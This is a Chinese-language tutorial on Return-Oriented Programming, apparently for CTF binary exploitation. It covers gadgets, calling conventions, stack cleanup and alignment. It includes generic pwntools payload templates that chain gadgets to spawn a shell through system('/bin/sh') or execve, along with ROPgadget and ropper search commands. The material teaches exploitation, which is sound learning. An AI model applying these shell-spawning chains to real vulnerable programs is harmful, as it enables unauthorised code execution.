攻击原理

ROP 技术概述

ROP(Return-Oriented Programming,面向返回的编程) 是一种高级的代码复用攻击技术,由 ret2libc 技术发展而来。当程序开启了 NX(栈不可执行)保护时,无法在栈上执行 shellcode,ROP 技术通过利用程序中已有的代码片段(gadget)来构造攻击链。

ROP 的核心思想

ROP 的核心思想是利用程序中的现有代码片段,通过精心构造的返回地址链,让程序按照攻击者的意图执行一系列操作,最终实现攻击目标。

Gadget 的概念

Gadget 是 ROP 的基本单元,是一段以 ret 指令结尾的短代码序列。每个 gadget 完成一个简单的操作,多个 gadget 组合起来可以完成复杂的功能。

常见的 gadget 类型:

  • 寄存器操作pop rax; retpop rdi; retmov rax, rdi; ret

  • 内存操作mov [rax], rdi; retpop rax; pop rdi; mov [rax], rdi; ret

  • 算术运算add rax, rdi; retsub rax, rdi; ret

  • 系统调用syscall; retint 0x80; ret

ROP 链的构造

ROP 链是一系列 gadget 地址的序列,每个地址指向一个 gadget。执行流程:

1
2
3
4
5
6
7
函数返回 → ret (pop rip) → 弹出第一个 gadget 地址

执行第一个 gadget → ret → 弹出第二个 gadget 地址

执行第二个 gadget → ret → 弹出第三个 gadget 地址

... 依次执行,直到完成攻击目标

64位 vs 32位 ROP

64位系统(x86-64)

  • 参数传递:前6个参数通过寄存器传递(rdi, rsi, rdx, rcx, r8, r9)

  • 常用 gadgetpop rdi; retpop rsi; retpop rdx; ret

  • 栈对齐:函数调用时要求栈16字节对齐

示例:调用 system("/bin/sh")

1
2
3
4
payload = b'A' * offset
payload += p64(pop_rdi) # pop rdi; ret
payload += p64(bin_sh_addr) # "/bin/sh" 地址
payload += p64(system_addr) # system 函数地址

32位系统(x86)

  • 参数传递:所有参数通过栈传递

  • 调用约定:参数从右到左压栈,调用后需要清理栈

  • 常用 gadgetpop eax; retpop ebx; ret

示例:调用 system("/bin/sh")

1
2
3
4
payload = b'A' * offset
payload += p32(system_addr) # system 函数地址
payload += p32(0xdeadbeef) # 返回地址(可以是任意值)
payload += p32(bin_sh_addr) # "/bin/sh" 地址(第一个参数)

ROP 攻击的优势

  1. 绕过 NX 保护:不需要执行栈上的代码,只跳转到已有的代码段

  2. 图灵完备:理论上可以构造任意复杂的攻击链

  3. 难以检测:只使用程序自身的代码,不引入新的代码

ROP 的局限性

  1. 需要大量 gadget:复杂攻击需要很多 gadget,可能难以找到

  2. 地址泄露:如果开启 PIE,需要泄露地址

  3. 栈空间:需要足够的栈空间来放置 ROP 链

  4. ASLR:如果开启 ASLR,需要泄露基地址

常见 ROP 攻击场景

  1. ret2libc:调用 libc 中的函数(如 system)

  2. ret2syscall:通过 syscall gadget 直接调用系统调用

  3. mprotect + shellcode:修改内存权限后执行 shellcode

  4. SROP(Sigreturn ROP):利用 sigreturn 系统调用恢复所有寄存器

例题

思路总结

ROP 攻击的核心是构造 gadget 链,通过程序中的现有代码片段实现攻击目标。构造 ROP 链需要理解调用约定、参数传递方式和栈清理机制。

攻击步骤

  1. 分析程序保护机制

    1
    checksec ./binary
    • 确认开启了 NX 保护(需要使用 ROP)
    • 检查 PIE 和 ASLR(可能需要泄露地址)
    • 确认没有 canary 或可以泄露 canary
  2. 查找可用的 Gadget

    1
    2
    3
    4
    5
    6
    7
    8
    9
    # 使用 ROPgadget
    ROPgadget --binary ./binary --only "pop|ret"

    # 使用 ropper
    ropper --file ./binary --search "pop rdi"

    # 使用 pwntools
    rop = ROP(elf)
    rop.find_gadget(['pop rdi', 'ret'])
  3. 确定目标函数和参数

    • 确定要调用的函数(如 system、execve)
    • 确定函数需要的参数
    • 确定参数的获取方式(泄露、计算、构造)
  4. 构造 ROP 链

    • 根据调用约定设置参数
    • 调用目标函数
    • 处理返回地址(如果需要继续执行)
  5. 发送 payload 并执行

64位 ROP 链构造

基本结构

1
2
3
4
5
6
7
# 64位:参数通过寄存器传递
payload = b'A' * offset
payload += p64(pop_rdi) # 设置第一个参数
payload += p64(arg1)
payload += p64(pop_rsi) # 设置第二个参数(如果需要)
payload += p64(arg2)
payload += p64(target_func) # 调用目标函数

调用 system(“/bin/sh”)

1
2
3
4
5
6
7
8
# 查找必要的 gadget
pop_rdi = rop.find_gadget(['pop rdi', 'ret'])[0]

# 构造 payload
payload = b'A' * offset
payload += p64(pop_rdi)
payload += p64(bin_sh_addr)
payload += p64(system_addr)

调用 execve(“/bin/sh”, NULL, NULL)

1
2
3
4
5
6
7
8
9
10
# 需要设置三个参数
pop_rdi = rop.find_gadget(['pop rdi', 'ret'])[0]
pop_rsi = rop.find_gadget(['pop rsi', 'ret'])[0]
pop_rdx = rop.find_gadget(['pop rdx', 'ret'])[0]

payload = b'A' * offset
payload += p64(pop_rdi) + p64(bin_sh_addr) # 第一个参数:文件名
payload += p64(pop_rsi) + p64(0) # 第二个参数:argv (NULL)
payload += p64(pop_rdx) + p64(0) # 第三个参数:envp (NULL)
payload += p64(execve_addr) # 调用 execve

32位 ROP 链构造

基本结构

1
2
3
4
5
6
# 32位:参数通过栈传递
payload = b'A' * offset
payload += p32(target_func) # 函数地址
payload += p32(return_addr) # 返回地址(可以是任意值)
payload += p32(arg1) # 第一个参数
payload += p32(arg2) # 第二个参数(如果需要)

调用 system(“/bin/sh”)

1
2
3
4
payload = b'A' * offset
payload += p32(system_addr) # system 函数地址
payload += p32(0xdeadbeef) # 返回地址(system 执行后不会返回)
payload += p32(bin_sh_addr) # 第一个参数:"/bin/sh" 地址

栈参数清理 Gadget

在 32 位系统中,某些函数调用约定(如 __cdecl)要求调用者清理栈参数。如果调用的函数需要清理栈,需要使用栈清理 gadget

问题场景

  • 调用 printfsystem__cdecl 约定的函数

  • 这些函数不会自动清理栈上的参数

  • 需要在函数返回后清理栈

解决方案:使用 add esp, n; retpop; pop; ...; ret gadget

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
# 方法1:使用 add esp, n; ret
# 假设调用了需要 1 个参数(4字节)的函数
payload = b'A' * offset
payload += p32(printf_addr) # 调用 printf
payload += p32(add_esp_4_ret) # add esp, 4; ret(清理1个参数)
payload += p32(format_str_addr) # printf 的参数

# 方法2:使用 pop; ret(更灵活)
# 查找 pop eax; ret 或 pop ebx; ret 等
pop_eax = rop.find_gadget(['pop eax', 'ret'])[0]

payload = b'A' * offset
payload += p32(printf_addr) # 调用 printf
payload += p32(pop_eax) # pop eax; ret(弹出返回地址)
payload += p32(format_str_addr) # printf 的参数
# 注意:这种方法会丢失返回地址,通常用于最后一步

# 方法3:调用多个需要清理的函数
# 使用 add esp, 8; ret 清理两个参数
payload = b'A' * offset
payload += p32(func1_addr) # 调用第一个函数
payload += p32(add_esp_4_ret) # 清理第一个函数的参数
payload += p32(func2_addr) # 调用第二个函数
payload += p32(add_esp_4_ret) # 清理第二个函数的参数

查找栈清理 Gadget

1
2
3
4
5
6
7
8
9
10
11
# 查找 add esp, n; ret
ROPgadget --binary ./binary --only "add|ret" | grep "add esp"

# 常见形式:
# add esp, 4; ret # 清理1个参数(4字节)
# add esp, 8; ret # 清理2个参数(8字节)
# add esp, 0xc; ret # 清理3个参数(12字节)
# add esp, 0x10; ret # 清理4个参数(16字节)

# 或者使用 pop 指令
ROPgadget --binary ./binary --only "pop|ret"

实际示例:调用 printf 后继续执行

1
2
3
4
5
6
7
8
9
10
# 假设需要调用 printf("%s", str),然后继续执行
pop_ebx = rop.find_gadget(['pop ebx', 'ret'])[0]
add_esp_8 = rop.find_gadget(['add esp', '8', 'ret'])[0] # 清理2个参数

payload = b'A' * offset
payload += p32(printf_plt) # 调用 printf
payload += p32(add_esp_8) # add esp, 8; ret(清理2个参数)
payload += p32(format_str_addr) # printf 的第一个参数
payload += p32(str_addr) # printf 的第二个参数
payload += p32(next_gadget) # 继续执行下一个 gadget

关键技巧

  1. Gadget 查找策略

    • 优先查找常用的 gadget(pop rdi, pop rsi, pop rdx)
    • 如果找不到直接 gadget,可以组合多个简单 gadget
    • 使用 ret gadget 进行栈对齐(64位)
  2. 参数设置技巧

    • 64位:按顺序设置 rdi, rsi, rdx, rcx, r8, r9
    • 32位:从右到左压栈,注意栈清理
    • 如果参数是 NULL,可以使用 pop rax; ret + xor rax, rax; ret
  3. 链式调用

    1
    2
    3
    # 调用多个函数
    payload += p64(pop_rdi) + p64(arg1) + p64(func1)
    payload += p64(pop_rdi) + p64(arg2) + p64(func2)
  4. 处理返回值

    • 如果函数有返回值,可以使用 mov gadget 保存
    • 通常最后一步调用 system/execve,不需要处理返回值
  5. 栈对齐(64位)

    • 在关键函数调用前添加 ret gadget 确保栈对齐
    • 计算栈指针位置,确保是16的倍数

常见问题

  • 找不到合适的 gadget:尝试组合多个简单 gadget,或使用其他函数

  • 栈空间不足:使用 stack pivot 技术迁移栈

  • 地址泄露:如果开启 PIE/ASLR,需要先泄露地址

  • 32位栈清理:注意调用约定,使用正确的栈清理 gadget

  • 参数构造:某些参数(如结构体)需要特殊构造

进阶技巧

  1. SROP(Sigreturn ROP):利用 sigreturn 系统调用一次性设置所有寄存器

  2. JOP(Jump-Oriented Programming):使用间接跳转而非返回

  3. BROP(Blind ROP):在不知道程序内容的情况下进行 ROP 攻击

  4. GOT 表劫持:通过 ROP 修改 GOT 表,改变函数行为